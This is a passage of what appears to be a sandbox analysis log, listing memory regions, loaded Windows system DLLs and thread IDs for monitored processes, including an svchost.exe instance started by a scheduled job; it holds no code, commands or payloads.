"\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 4638 start_va = 0x704f0000 end_va = 0x704f7fff monitored = 0 entry_point = 0x704f1740 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 4639 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4640 start_va = 0x704e0000 end_va = 0x704e7fff monitored = 0 entry_point = 0x704e17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4641 start_va = 0x704b0000 end_va = 0x704d3fff monitored = 0 entry_point = 0x704b4820 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 4642 start_va = 0x72d80000 end_va = 0x72f8efff monitored = 0 entry_point = 0x72e2b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 4643 start_va = 0x70490000 end_va = 0x704a5fff monitored = 0 entry_point = 0x704921d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4644 start_va = 0x715c0000 end_va = 0x717ccfff monitored = 0 entry_point = 0x716aacb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 4645 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 4646 start_va = 0x70470000 end_va = 0x70488fff monitored = 0 entry_point = 0x704747e0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 4647 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4648 start_va = 0x6f840000 end_va = 0x6f862fff monitored = 0 entry_point = 0x6f848940 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 6005 start_va = 0x748c0000 end_va = 0x7491dfff monitored = 0 entry_point = 0x748d7470 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 6006 start_va = 0x74e10000 end_va = 0x74e22fff monitored = 0 entry_point = 0x74e11d20 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 6007 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 6008 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 6009 start_va = 0x72d10000 end_va = 0x72d1afff monitored = 0 entry_point = 0x72d11d20 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 6010 start_va = 0xf10000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 6011 start_va = 0x10b0000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 6012 start_va = 0xc10000 end_va = 0xc39fff monitored = 0 entry_point = 0xc15680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6013 start_va = 0x14b0000 end_va = 0x1637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014b0000" filename = "" Region: id = 6014 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Thread: id = 345 os_tid = 0x440 Thread: id = 349 os_tid = 0x1398 Process: id = "82" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x448dc000" os_pid = "0x360" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "78" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b257" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 6399 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6400 start_va = 0x6475b00000 end_va = 0x6475b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006475b00000" filename = "" Region: id = 6401 start_va = 0x6475c00000 end_va = 0x6475dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006475c00000" filename = "" Region: id = 6402 start_va = 0x25d7e1c0000 end_va = 0x25d7e1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e1c0000" filename = "" Region: id = 6403 start_va = 0x25d7e1e0000 end_va = 0x25d7e1f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e1e0000" filename = "" Region: id = 6404 start_va = 0x25d7e200000 end_va = 0x25d7e203fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e200000" filename = "" Region: id = 6405 start_va = 0x25d7e210000 end_va = 0x25d7e210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e210000" filename = "" Region: id = 6406 start_va = 0x25d7e220000 end_va = 0x25d7e221fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e220000" filename = "" Region: id = 6407 start_va = 0x7df5ff0b0000 end_va = 0x7ff5ff0affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff0b0000" filename = "" Region: id = 6408 start_va = 0x7ff7661e0000 end_va = 0x7ff766202fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7661e0000" filename = "" Region: id = 6409 start_va = 0x7ff7669a0000 end_va = 0x7ff7669acfff monitored = 0 entry_point = 0x7ff7669a3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 6410 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6528 start_va = 0x25d7e230000 end_va = 0x25d7e416fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e230000" filename = "" Region: id = 6529 start_va = 0x25d7e420000 end_va = 0x25d7e61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e420000" filename = "" Region: id = 6530 start_va = 0x25d7e500000 end_va = 0x25d7e5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e500000" filename = "" Region: id = 6531 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6532 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6533 start_va = 0x25d7e1c0000 end_va = 0x25d7e1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e1c0000" filename = "" Region: id = 6534 start_va = 0x7ff7660e0000 end_va = 0x7ff7661dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7660e0000" filename = "" Region: id = 6535 start_va = 0x25d7e230000 end_va = 0x25d7e2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6536 start_va = 0x25d7e410000 end_va = 0x25d7e416fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e410000" filename = "" Region: id = 6537 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6538 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6539 start_va = 0x6475b80000 end_va = 0x6475bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006475b80000" filename = "" Region: id = 6540 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 6541 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6542 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6543 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6544 start_va = 0x25d7e2f0000 end_va = 0x25d7e396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e2f0000" filename = "" Region: id = 6545 start_va = 0x25d7e600000 end_va = 0x25d7e7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e600000" filename = "" Region: id = 6546 start_va = 0x25d7e600000 end_va = 0x25d7e6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e600000" filename = "" Region: id = 6547 start_va = 0x25d7e420000 end_va = 0x25d7e4fcfff monitored = 0 entry_point = 0x25d7e47e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6548 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6549 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6550 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6551 start_va = 0x25d7e420000 end_va = 0x25d7e4dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e420000" filename = "" Region: id = 6552 start_va = 0x25d7e700000 end_va = 0x25d7e887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e700000" filename = "" Region: id = 6553 start_va = 0x25d7e890000 end_va = 0x25d7ea10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e890000" filename = "" Region: id = 6554 start_va = 0x25d7e1d0000 end_va = 0x25d7e1d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 6555 start_va = 0x25d7e2f0000 end_va = 0x25d7e2f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e2f0000" filename = "" Region: id = 6556 start_va = 0x25d7e300000 end_va = 0x25d7e300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e300000" filename = "" Region: id = 6557 start_va = 0x25d7e390000 end_va = 0x25d7e396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e390000" filename = "" Region: id = 6558 start_va = 0x25d7ea20000 end_va = 0x25d7eb86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ea20000" filename = "" Region: id = 6559 start_va = 0x25d7eb90000 end_va = 0x25d7ed8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7eb90000" filename = "" Region: id = 6560 start_va = 0x25d7ec00000 end_va = 0x25d7ecfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ec00000" filename = "" Region: id = 6561 start_va = 0x6475e00000 end_va = 0x6475efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006475e00000" filename = "" Region: id = 6562 start_va = 0x7ffe57c60000 end_va = 0x7ffe57dacfff monitored = 0 entry_point = 0x7ffe57ca3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 6563 start_va = 0x7ffe5bba0000 end_va = 0x7ffe5bbabfff monitored = 0 entry_point = 0x7ffe5bba2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 6564 start_va = 0x7ffe57c40000 end_va = 0x7ffe57c57fff monitored = 0 entry_point = 0x7ffe57c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6565 start_va = 0x7ffe57c30000 end_va = 0x7ffe57c39fff monitored = 0 entry_point = 0x7ffe57c31660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 6566 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6567 start_va = 0x25d7ea20000 end_va = 0x25d7eb62fff monitored = 0 entry_point = 0x25d7ea48210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6568 start_va = 0x25d7eb80000 end_va = 0x25d7eb86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7eb80000" filename = "" Region: id = 6569 start_va = 0x25d7ea20000 end_va = 0x25d7eb46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ea20000" filename = "" Region: id = 6570 start_va = 0x25d7ed00000 end_va = 0x25d7eefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ed00000" filename = "" Region: id = 6571 start_va = 0x25d7ed00000 end_va = 0x25d7edfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ed00000" filename = "" Region: id = 6572 start_va = 0x25d7ee00000 end_va = 0x25d7f136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6573 start_va = 0x6475f00000 end_va = 0x6475ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006475f00000" filename = "" Region: id = 6574 start_va = 0x25d7e310000 end_va = 0x25d7e310fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e310000" filename = "" Region: id = 6575 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6576 start_va = 0x25d7e320000 end_va = 0x25d7e320fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e320000" filename = "" Region: id = 6577 start_va = 0x7ffe57680000 end_va = 0x7ffe5773efff monitored = 0 entry_point = 0x7ffe576a1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 6578 start_va = 0x6476000000 end_va = 0x64760fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476000000" filename = "" Region: id = 6579 start_va = 0x6476100000 end_va = 0x64761fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476100000" filename = "" Region: id = 6580 start_va = 0x6476200000 end_va = 0x64762fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476200000" filename = "" Region: id = 6581 start_va = 0x7ffe571f0000 end_va = 0x7ffe572ebfff monitored = 0 entry_point = 0x7ffe57226df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 6582 start_va = 0x7ffe571a0000 end_va = 0x7ffe571e0fff monitored = 0 entry_point = 0x7ffe571b7eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 6583 start_va = 0x7ffe5cd60000 end_va = 0x7ffe5cd78fff monitored = 0 entry_point = 0x7ffe5cd65e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 6584 start_va = 0x25d7ea20000 end_va = 0x25d7ea96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ea20000" filename = "" Region: id = 6585 start_va = 0x25d7eb40000 end_va = 0x25d7eb46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7eb40000" filename = "" Region: id = 6586 start_va = 0x25d7f140000 end_va = 0x25d7f33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f140000" filename = "" Region: id = 6587 start_va = 0x25d7f200000 end_va = 0x25d7f2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f200000" filename = "" Region: id = 6588 start_va = 0x7ffe5c190000 end_va = 0x7ffe5c1d8fff monitored = 0 entry_point = 0x7ffe5c19a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 6589 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6590 start_va = 0x7ffe57180000 end_va = 0x7ffe57190fff monitored = 0 entry_point = 0x7ffe57183320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 6591 start_va = 0x7ffe5cbd0000 end_va = 0x7ffe5cbfcfff monitored = 0 entry_point = 0x7ffe5cbe9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6592 start_va = 0x25d7e330000 end_va = 0x25d7e330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e330000" filename = "" Region: id = 6593 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6594 start_va = 0x6476300000 end_va = 0x647637ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476300000" filename = "" Region: id = 6595 start_va = 0x6476380000 end_va = 0x647647ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476380000" filename = "" Region: id = 6596 start_va = 0x7ffe57110000 end_va = 0x7ffe5717dfff monitored = 0 entry_point = 0x7ffe57117f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 6597 start_va = 0x6476480000 end_va = 0x647657ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476480000" filename = "" Region: id = 6598 start_va = 0x7ffe5c440000 end_va = 0x7ffe5c470fff monitored = 0 entry_point = 0x7ffe5c447d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6599 start_va = 0x6476580000 end_va = 0x647667ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476580000" filename = "" Region: id = 6600 start_va = 0x6476680000 end_va = 0x64766fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476680000" filename = "" Region: id = 6601 start_va = 0x7ffe570f0000 end_va = 0x7ffe570fafff monitored = 0 entry_point = 0x7ffe570f1770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 6602 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 6603 start_va = 0x6476700000 end_va = 0x64767fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476700000" filename = "" Region: id = 6604 start_va = 0x7ffe56f70000 end_va = 0x7ffe570ebfff monitored = 0 entry_point = 0x7ffe56fc1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 6605 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6606 start_va = 0x7ffe5d920000 end_va = 0x7ffe5dae6fff monitored = 0 entry_point = 0x7ffe5d97db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6607 start_va = 0x7ffe5cef0000 end_va = 0x7ffe5cefffff monitored = 0 entry_point = 0x7ffe5cef56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6608 start_va = 0x7ffe60640000 end_va = 0x7ffe606aafff monitored = 0 entry_point = 0x7ffe606590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6609 start_va = 0x7ffe5a800000 end_va = 0x7ffe5a83ffff monitored = 0 entry_point = 0x7ffe5a811960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 6610 start_va = 0x7ffe56f00000 end_va = 0x7ffe56f60fff monitored = 0 entry_point = 0x7ffe56f04b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 6611 start_va = 0x7ffe56e30000 end_va = 0x7ffe56ef7fff monitored = 0 entry_point = 0x7ffe56e713f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6612 start_va = 0x7ffe59970000 end_va = 0x7ffe599a5fff monitored = 0 entry_point = 0x7ffe59980070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6613 start_va = 0x6476800000 end_va = 0x647687ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476800000" filename = "" Region: id = 6614 start_va = 0x25d7f300000 end_va = 0x25d7f3dcfff monitored = 0 entry_point = 0x25d7f35e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6615 start_va = 0x6476880000 end_va = 0x647697ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476880000" filename = "" Region: id = 6618 start_va = 0x7ffe56df0000 end_va = 0x7ffe56e1efff monitored = 0 entry_point = 0x7ffe56df8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 6619 start_va = 0x7ffe56de0000 end_va = 0x7ffe56decfff monitored = 0 entry_point = 0x7ffe56de2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 6620 start_va = 0x6476980000 end_va = 0x64769fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476980000" filename = "" Region: id = 6621 start_va = 0x7ffe5c820000 end_va = 0x7ffe5c87bfff monitored = 0 